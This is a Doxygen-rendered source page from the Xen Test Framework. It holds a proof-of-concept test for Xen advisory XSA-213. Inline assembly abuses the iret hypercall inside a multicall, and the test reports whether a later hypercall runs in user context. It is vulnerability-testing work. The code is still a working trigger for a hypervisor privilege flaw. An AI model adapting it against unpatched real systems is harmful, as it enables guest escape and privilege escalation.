Xen Test Framework
main.c
Go to the documentation of this file.
1 
23 #include <xtf.h>
24 
25 const char test_title[] = "XSA-213 PoC";
26 
27 #define IRET_IDENTIFIER 0xdead
28 
29 /* IDT handler to recover from arriving at iret_entry. */
30 void recover_from_iret(void);
31 asm(".align 16;"
32  "recover_from_iret:"
33  "mov %dr0, %" _ASM_SP ";"
34  "jmp multicall_return;"
35  );
36 
37 static const struct xtf_idte idte = {
39  .cs = __KERN_CS,
40  .dpl = 3,
41 };
42 
43 /* Target of the __HYPERVISOR_iret hypercall. */
44 void iret_entry(void);
45 asm (".pushsection .text.user;"
46  ".global iret_entry;"
47  "iret_entry:"
48  "int $" STR(X86_VEC_AVAIL) ";"
49  ".popsection;"
50  );
51 
52 static long multi_iret_call(multicall_entry_t *multi, size_t nr)
53 {
54  long rc, tmp;
55 
56  asm volatile (/* Stash the stack pointer for recover_from_iret() */
57  "mov %%" _ASM_SP ", %%dr0;"
58 
59  /*
60  * Build a __HYPERVISOR_iret stack frame, on the user_stack,
61  * landing at iret_entry(). The interrupt flag leaks in
62  * from real hardware, and needs clobbering.
63  */
64  "push $%c[ss];"
65  "push $user_stack + 4096;"
66  "pushf;"
67  "andl $~%c[intr], (%%" _ASM_SP ");"
68  "push $%c[cs];"
69  "push $iret_entry;"
70 
71 #ifdef __x86_64__ /* 64bit SYSEXIT flags, %rcx and %r11. Ignored. */
72  "push $0;"
73  "push $0;"
74  "push $0;"
75 #endif
76  /* %rax to restore after __HYPERVISOR_iret. */
77  "push $ " STR(IRET_IDENTIFIER) ";"
78 
79 #ifdef __i386__ /* Start the __HYPERVISOR_multicall. */
80  "int $0x82;"
81 #else
82  "syscall;"
83 #endif
84  /* Recovery point from recover_from_iret(). */
85  "multicall_return:"
86 
87  : "=a" (rc),
88 #ifdef __i386__
89  "=b" (tmp), "=c" (tmp)
90 #else
91  "=D" (tmp), "=S" (tmp)
92 #endif
93  : "a" (__HYPERVISOR_multicall),
94  [ss] "i" (__USER_DS),
95  [cs] "i" (__USER_CS),
96  [intr] "i" (X86_EFLAGS_IF),
97 #ifdef __i386__
98  "b" (multi), "c" (nr)
99 #else
100  "D" (multi), "S" (nr)
101 #endif
102  );
103 
104  return rc;
105 }
106 
108  {
110  },
111  {
113  .args = {
114  (unsigned long)XENVER_version,
115  (unsigned long)NULL,
116  },
117  },
118 };
119 
120 void test_main(void)
121 {
122  long rc, xen_version = hypercall_xen_version(XENVER_version, NULL);
123 
124  printk("Found Xen %ld.%ld\n",
125  (xen_version >> 16) & 0xffff, xen_version & 0xffff);
126 
127  xtf_set_idte(X86_VEC_AVAIL, &idte);
128 
129  rc = multi_iret_call(multi, ARRAY_SIZE(multi));
130 
131  if ( rc != IRET_IDENTIFIER )
132  {
133  if ( rc )
134  xtf_error("Error: Unexpected multicall result %ld\n", rc);
135  else
136  xtf_failure("Fail: Multicall didn't finish at the iret\n");
137  }
138 
139  if ( multi[1].result )
140  {
141  if ( multi[1].result == (unsigned long)xen_version )
142  xtf_failure("Fail: xen_version hypercall run in user context\n");
143  else
144  xtf_error("Error: Unexpected xen_version result %#lx\n",
145  multi[1].result);
146  }
147  else
148  xtf_success("Success: Not vulnerable to XSA-213\n");
149 }
150 
151 /*
152  * Local variables:
153  * mode: C
154  * c-file-style: "BSD"
155  * c-basic-offset: 4
156  * tab-width: 4
157  * indent-tabs-mode: nil
158  * End:
159  */
static long multi_iret_call(multicall_entry_t *multi, size_t nr)
Definition: main.c:52
unsigned long addr
Definition: idt.h:28
#define ARRAY_SIZE(a)
Definition: lib.h:8
int xtf_set_idte(unsigned int vector, const struct xtf_idte *idte)
Set up an IDT Entry, in a guest agnostic way.
Definition: traps.c:73
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
void recover_from_iret(void)
#define X86_EFLAGS_IF
Definition: processor.h:14
static const struct xtf_idte idte
Definition: main.c:37
#define __HYPERVISOR_xen_version
Definition: xen.h:30
void printk(const char *fmt,...)
Definition: console.c:134
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
#define __HYPERVISOR_iret
Definition: xen.h:36
unsigned int cs
Definition: idt.h:29
#define __HYPERVISOR_multicall
Definition: xen.h:26
#define NULL
Definition: stddef.h:12
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
Definition: xen.h:263
#define IRET_IDENTIFIER
Definition: main.c:27
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
const char test_title[]
The title of the test.
Definition: main.c:14
#define X86_VEC_AVAIL
Available for test use.
Definition: idt.h:20
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
A guest agnostic represention of IDT information.
Definition: idt.h:26
#define _ASM_SP
Definition: asm_macros.h:37
static multicall_entry_t multi[]
Definition: main.c:107
static long hypercall_xen_version(unsigned int cmd, void *arg)
Definition: hypercall.h:126
#define XENVER_version
Definition: version.h:8
unsigned long op
Definition: xen.h:264
void iret_entry(void)